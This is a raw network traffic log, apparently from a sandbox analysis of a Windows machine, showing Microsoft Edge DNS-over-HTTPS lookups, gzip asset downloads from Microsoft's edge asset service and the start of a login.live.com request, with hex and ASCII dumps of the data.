2024-11-08 14:21:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom)@<
2024-11-08 14:21:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 08 Nov 2024 14:21:08 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8df6352dbb586c56-DFW alt-svc: h3=":443"; ma=86400
2024-11-08 14:21:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d b5 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 d1 00 2a 0e 70 72 6f 64 2d 61 67 69 63 2d 63 75 2d 32 09 63 65 6e 74 72 61 6c 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 73 00 01 00 01 00 00 00 05 00 04 34 e4 a1 a1 00 00 29 04 d0 00 00 00 00 01 1c 00 0c 01 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom&prod-atm-wds-edgetrafficmanagernetA*prod-agic-cu-2centraluscloudappazure,s4)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49785	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:09 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:09 UTC	576	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:09 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 357ef44a-601e-005e-0172-2c9b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142109Z-16547b76f7fcjqqhhC1DFWrrrc00000009r000000000cpes Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-08 14:21:09 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-08 14:21:09 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-08 14:21:09 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-08 14:21:09 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-08 14:21:09 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49786	13.107.246.57	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:09 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:09 UTC	577	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:09 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 6d5c7e92-401e-0049-21b4-2e5b67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241108T142109Z-16547b76f7fknvdnhC1DFWxnys00000009ug000000008byc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-08 14:21:09 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-08 14:21:10 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-08 14:21:11 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49784	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:09 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
